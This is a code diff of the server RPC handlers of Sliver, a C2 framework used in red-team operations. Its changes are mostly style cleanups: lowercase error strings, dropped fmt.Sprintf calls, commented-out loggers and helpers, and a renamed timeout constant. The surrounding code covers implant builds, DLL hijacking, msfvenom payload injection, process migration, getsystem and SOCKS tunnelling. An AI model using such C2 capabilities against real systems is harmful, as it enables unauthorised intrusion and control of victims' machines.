@@ -187,11 +187,11 @@ func (rpc *Server) SaveImplantProfile(ctx context.Context, profile *clientpb.Imp
}
core.EventBroker.Publish(core.Event{
EventType: consts.ProfileEvent,
Data: []byte(fmt.Sprintf("%s", profile.Name)),
Data: []byte(profile.Name),
})
return profile, nil
}
return nil, errors.New("Invalid profile name")
return nil, errors.New("invalid profile name")
}
// DeleteImplantProfile - Delete an implant profile
@@ -204,7 +204,7 @@ func (rpc *Server) DeleteImplantProfile(ctx context.Context, req *clientpb.Delet
if err == nil {
core.EventBroker.Publish(core.Event{
EventType: consts.ProfileEvent,
Data: []byte(fmt.Sprintf("%s", profile.Name)),
Data: []byte(profile.Name),
})
}
return &commonpb.Empty{}, err
@@ -224,7 +224,7 @@ func (rpc *Server) DeleteImplantBuild(ctx context.Context, req *clientpb.DeleteR
if err == nil {
core.EventBroker.Publish(core.Event{
EventType: consts.BuildEvent,
Data: []byte(fmt.Sprintf("%s", build.Name)),
Data: []byte(build.Name),
})
}
return &commonpb.Empty{}, err
+3 -3
View File
@@ -100,9 +100,9 @@ func (rpc *Server) HijackDLL(ctx context.Context, req *clientpb.DllHijackReq) (*
}
if p.Config.Format != clientpb.OutputFormat_SHARED_LIB {
return nil, status.Error(codes.InvalidArgument, fmt.Sprintf(
return nil, status.Error(codes.InvalidArgument,
"please select a profile targeting a shared library format",
))
)
}
name, config := generate.ImplantConfigFromProtobuf(p.Config)
@@ -145,7 +145,7 @@ func (rpc *Server) HijackDLL(ctx context.Context, req *clientpb.DllHijackReq) (*
Path: req.TargetLocation,
Request: &commonpb.Request{
SessionID: session.ID,
Timeout: int64(defaultTimeout),
Timeout: int64(minTimeout),
},
})
+3 -4
View File
@@ -24,12 +24,11 @@ import (
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/bishopfox/sliver/server/db"
"github.com/bishopfox/sliver/server/log"
)
var (
hostsRPCLog = log.NamedLogger("rpc", "hosts")
)
// var (
// hostsRPCLog = log.NamedLogger("rpc", "hosts")
// )
// Hosts - List all hosts
func (rpc *Server) Hosts(ctx context.Context, _ *commonpb.Empty) (*clientpb.AllHosts, error) {
+2 -2
View File
@@ -43,7 +43,7 @@ const (
var (
// ErrInvalidPort - Invalid TCP port number
ErrInvalidPort = errors.New("Invalid listener port")
ErrInvalidPort = errors.New("invalid listener port")
)
// GetJobs - List jobs
@@ -78,7 +78,7 @@ func (rpc *Server) KillJob(ctx context.Context, kill *clientpb.KillJobReq) (*cli
}
} else {
killJob.Success = false
err = errors.New("Invalid Job ID")
err = errors.New("invalid Job ID")
}
return killJob, err
}
+3 -4
View File
@@ -25,13 +25,12 @@ import (
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/bishopfox/sliver/server/core"
"github.com/bishopfox/sliver/server/log"
"github.com/bishopfox/sliver/server/loot"
)
var (
lootRPCLog = log.NamedLogger("rpc", "loot")
)
// var (
// lootRPCLog = log.NamedLogger("rpc", "loot")
// )
// LootAdd - Add loot
func (rpc *Server) LootAdd(ctx context.Context, lootReq *clientpb.Loot) (*clientpb.Loot, error) {
+9 -7
View File
@@ -20,6 +20,7 @@ package rpc
import (
"context"
"errors"
"fmt"
"math/rand"
"path"
@@ -63,7 +64,7 @@ func (rpc *Server) Msf(ctx context.Context, req *clientpb.MSFReq) (*sliverpb.Tas
arch = beacon.Arch
}
config := msf.VenomConfig{
rawPayload, err := msf.VenomPayload(msf.VenomConfig{
Os: os,
Arch: msf.Arch(arch),
Payload: req.Payload,
@@ -72,8 +73,7 @@ func (rpc *Server) Msf(ctx context.Context, req *clientpb.MSFReq) (*sliverpb.Tas
Encoder: req.Encoder,
Iterations: int(req.Iterations),
Format: "raw",
}
rawPayload, err := msf.VenomPayload(config)
})
if err != nil {
rpcLog.Warnf("Error while generating msf payload: %v\n", err)
return nil, err
@@ -82,6 +82,7 @@ func (rpc *Server) Msf(ctx context.Context, req *clientpb.MSFReq) (*sliverpb.Tas
Encoder: "raw",
Data: rawPayload,
RWXPages: true,
Request: req.Request,
}
resp := &sliverpb.Task{Response: &commonpb.Response{}}
err = rpc.GenericHandler(taskReq, resp)
@@ -114,7 +115,8 @@ func (rpc *Server) MsfRemote(ctx context.Context, req *clientpb.MSFRemoteReq) (*
os = beacon.OS
arch = beacon.Arch
}
config := msf.VenomConfig{
rawPayload, err := msf.VenomPayload(msf.VenomConfig{
Os: os,
Arch: msf.Arch(arch),
Payload: req.Payload,
@@ -123,8 +125,7 @@ func (rpc *Server) MsfRemote(ctx context.Context, req *clientpb.MSFRemoteReq) (*
Encoder: req.Encoder,
Iterations: int(req.Iterations),
Format: "raw",
}
rawPayload, err := msf.VenomPayload(config)
})
if err != nil {
return nil, err
}
@@ -133,6 +134,7 @@ func (rpc *Server) MsfRemote(ctx context.Context, req *clientpb.MSFRemoteReq) (*
Encoder: "raw",
Data: rawPayload,
RWXPages: true,
Request: req.Request,
}
resp := &sliverpb.Task{Response: &commonpb.Response{}}
err = rpc.GenericHandler(taskReq, resp)
@@ -170,7 +172,7 @@ func (rpc *Server) MsfStage(ctx context.Context, req *clientpb.MsfStagerReq) (*c
payload = "meterpreter/reverse_https"
uri = generateCallbackURI()
default:
return MSFStage, fmt.Errorf("Protocol not supported")
return MSFStage, errors.New("protocol not supported")
}
// We only support windows at the moment
+1 -1
View File
@@ -86,7 +86,7 @@ func (rpc *Server) GetSystem(ctx context.Context, req *clientpb.GetSystemReq) (*
if err != nil {
return nil, err
}
shellcode, err = ioutil.ReadFile(shellcodePath)
shellcode, _ = ioutil.ReadFile(shellcodePath)
}
data, err := proto.Marshal(&sliverpb.InvokeGetSystemReq{
Data: shellcode,
+2 -9
View File
@@ -134,15 +134,8 @@ func (s *Server) CreateSocks(ctx context.Context, req *sliverpb.Socks) (*sliverp
// CloseSocks - Client requests we close a Socks
func (s *Server) CloseSocks(ctx context.Context, req *sliverpb.Socks) (*commonpb.Empty, error) {
err := core.SocksTunnels.Close(req.TunnelID)
if _, ok := toImplantCacheSocks[req.TunnelID]; ok {
delete(toImplantCacheSocks, req.TunnelID)
}
if _, ok := fromImplantCacheSocks[req.TunnelID]; ok {
delete(fromImplantCacheSocks, req.TunnelID)
}
delete(toImplantCacheSocks, req.TunnelID)
delete(fromImplantCacheSocks, req.TunnelID)
if err != nil {
return nil, err
}
+42 -43
View File
@@ -24,7 +24,6 @@ import (
"encoding/binary"
"fmt"
"io/ioutil"
"os"
"path"
"strings"
@@ -78,7 +77,7 @@ func (rpc *Server) Migrate(ctx context.Context, req *clientpb.MigrateReq) (*sliv
if err != nil {
return nil, err
}
shellcode, err = ioutil.ReadFile(shellcodePath)
shellcode, _ = ioutil.ReadFile(shellcodePath)
}
reqData, err := proto.Marshal(&sliverpb.InvokeMigrateReq{
Request: req.Request,
@@ -332,49 +331,49 @@ func getOrdinal(index uint32, rawData []byte, fpe *pe.File, funcArrayFoa uint32)
return funcOffset
}
func getExportOffsetFromFile(filepath string, exportName string) (funcOffset uint32, err error) {
rawData, err := ioutil.ReadFile(filepath)
if err != nil {
return 0, err
}
handle, err := os.Open(filepath)
if err != nil {
return 0, err
}
defer handle.Close()
fpe, _ := pe.NewFile(handle)
var exportDirectoryRVA uint32
switch (fpe.OptionalHeader).(type) {
case *pe.OptionalHeader32:
exportDirectoryRVA = fpe.OptionalHeader.(*pe.OptionalHeader32).DataDirectory[pe.IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress
case *pe.OptionalHeader64:
exportDirectoryRVA = fpe.OptionalHeader.(*pe.OptionalHeader64).DataDirectory[pe.IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress
}
var offset = rvaToFoa(exportDirectoryRVA, fpe)
exportDir := ExportDirectory{}
buff := &bytes.Buffer{}
buff.Write(rawData[offset:])
err = binary.Read(buff, binary.LittleEndian, &exportDir)
if err != nil {
return 0, err
}
current := exportDir.AddressOfNames
nameArrayFOA := rvaToFoa(exportDir.AddressOfNames, fpe)
ordinalArrayFOA := rvaToFoa(exportDir.AddressOfNameOrdinals, fpe)
funcArrayFoa := rvaToFoa(exportDir.AddressOfFunctions, fpe)
// func getExportOffsetFromFile(filepath string, exportName string) (funcOffset uint32, err error) {
// rawData, err := ioutil.ReadFile(filepath)
// if err != nil {
// return 0, err
// }
// handle, err := os.Open(filepath)
// if err != nil {
// return 0, err
// }
// defer handle.Close()
// fpe, _ := pe.NewFile(handle)
// var exportDirectoryRVA uint32
// switch (fpe.OptionalHeader).(type) {
// case *pe.OptionalHeader32:
// exportDirectoryRVA = fpe.OptionalHeader.(*pe.OptionalHeader32).DataDirectory[pe.IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress
// case *pe.OptionalHeader64:
// exportDirectoryRVA = fpe.OptionalHeader.(*pe.OptionalHeader64).DataDirectory[pe.IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress
// }
// var offset = rvaToFoa(exportDirectoryRVA, fpe)
// exportDir := ExportDirectory{}
// buff := &bytes.Buffer{}
// buff.Write(rawData[offset:])
// err = binary.Read(buff, binary.LittleEndian, &exportDir)
// if err != nil {
// return 0, err
// }
// current := exportDir.AddressOfNames
// nameArrayFOA := rvaToFoa(exportDir.AddressOfNames, fpe)
// ordinalArrayFOA := rvaToFoa(exportDir.AddressOfNameOrdinals, fpe)
// funcArrayFoa := rvaToFoa(exportDir.AddressOfFunctions, fpe)
for i := uint32(0); i < exportDir.NumberOfNames; i++ {
index := nameArrayFOA + i*8
name := getFuncName(index, rawData, fpe)
if strings.Contains(name, exportName) {
ordIndex := ordinalArrayFOA + i*2
funcOffset = getOrdinal(ordIndex, rawData, fpe, funcArrayFoa)
}
current += uint32(binary.Size(i))
}
// for i := uint32(0); i < exportDir.NumberOfNames; i++ {
// index := nameArrayFOA + i*8
// name := getFuncName(index, rawData, fpe)
// if strings.Contains(name, exportName) {
// ordIndex := ordinalArrayFOA + i*2
// funcOffset = getOrdinal(ordIndex, rawData, fpe, funcArrayFoa)
// }
// current += uint32(binary.Size(i))
// }
return
}
// return
// }
func getExportOffsetFromMemory(rawData []byte, exportName string) (funcOffset uint32, err error) {
peReader := bytes.NewReader(rawData)
+4 -11
View File
@@ -63,15 +63,8 @@ func (s *Server) CreateTunnel(ctx context.Context, req *sliverpb.Tunnel) (*slive
// CloseTunnel - Client requests we close a tunnel
func (s *Server) CloseTunnel(ctx context.Context, req *sliverpb.Tunnel) (*commonpb.Empty, error) {
err := core.Tunnels.Close(req.TunnelID)
if _, ok := toImplantCache[req.TunnelID]; ok {
delete(toImplantCache, req.TunnelID)
}
if _, ok := fromImplantCache[req.TunnelID]; ok {
delete(fromImplantCache, req.TunnelID)
}
delete(toImplantCache, req.TunnelID)
delete(fromImplantCache, req.TunnelID)
if err != nil {
return nil, err
}
@@ -107,7 +100,7 @@ func (s *Server) TunnelData(stream rpcpb.SliverRPC_TunnelDataServer) error {
go func() {
sendCache, _ := toImplantCache[tunnel.ID]
sendCache := toImplantCache[tunnel.ID]
for tunnelData := range tunnel.FromImplant {
tunnelLog.Debugf("Tunnel %d: From implant %d byte(s), seq: %d ack: %d",
@@ -170,7 +163,7 @@ func (s *Server) TunnelData(stream rpcpb.SliverRPC_TunnelDataServer) error {
go func() {
session := core.Sessions.Get(tunnel.SessionID)
sendCache, _ := toImplantCache[tunnel.ID]
sendCache := toImplantCache[tunnel.ID]
for data := range tunnel.ToImplant {
tunnelLog.Debugf("Tunnel %d: To implant %d byte(s), seq: %d", tunnel.ID, len(data), tunnel.ToImplantSequence)
tunnelData := sliverpb.TunnelData{
+4 -5
View File
@@ -20,7 +20,6 @@ package rpc
import (
"context"
"fmt"
"mime"
"path/filepath"
@@ -83,7 +82,7 @@ func (rpc *Server) WebsiteRemove(ctx context.Context, req *clientpb.Website) (*c
core.EventBroker.Publish(core.Event{
EventType: consts.WebsiteEvent,
Data: []byte(fmt.Sprintf("%s", req.Name)),
Data: []byte(req.Name),
})
return &commonpb.Empty{}, nil
@@ -122,7 +121,7 @@ func (rpc *Server) WebsiteAddContent(ctx context.Context, req *clientpb.WebsiteA
core.EventBroker.Publish(core.Event{
EventType: consts.WebsiteEvent,
Data: []byte(fmt.Sprintf("%s", req.Name)),
Data: []byte(req.Name),
})
return website.MapContent(req.Name, false)
@@ -149,7 +148,7 @@ func (rpc *Server) WebsiteUpdateContent(ctx context.Context, req *clientpb.Websi
core.EventBroker.Publish(core.Event{
EventType: consts.WebsiteEvent,
Data: []byte(fmt.Sprintf("%s", req.Name)),
Data: []byte(req.Name),
})
return website.MapContent(req.Name, false)
@@ -167,7 +166,7 @@ func (rpc *Server) WebsiteRemoveContent(ctx context.Context, req *clientpb.Websi
core.EventBroker.Publish(core.Event{
EventType: consts.WebsiteEvent,
Data: []byte(fmt.Sprintf("%s", req.Name)),
Data: []byte(req.Name),
})
return website.MapContent(req.Name, false)
+5 -4
View File
@@ -44,7 +44,7 @@ var (
)
const (
defaultTimeout = time.Duration(30 * time.Second)
minTimeout = time.Duration(30 * time.Second)
)
// Server - gRPC server
@@ -132,12 +132,13 @@ func (rpc *Server) GenericHandler(req GenericRequest, resp GenericResponse) erro
if err != nil {
return err
}
return rpc.getError(resp.(GenericResponse))
return rpc.getError(resp)
}
// asyncGenericHandler - Generic handler for async request/response's for beacon tasks
func (rpc *Server) asyncGenericHandler(req GenericRequest, resp GenericResponse) error {
rpcLog.Debugf("Async Generic Handler: %#v", req)
// VERY VERBOSE
// rpcLog.Debugf("Async Generic Handler: %#v", req)
request := req.GetRequest()
if request == nil {
return ErrMissingRequestField
@@ -202,7 +203,7 @@ func (rpc *Server) getClientCommonName(ctx context.Context) string {
func (rpc *Server) getTimeout(req GenericRequest) time.Duration {
timeout := req.GetRequest().Timeout
if time.Duration(timeout) < time.Second {
return defaultTimeout
return minTimeout
}
return time.Duration(timeout)
}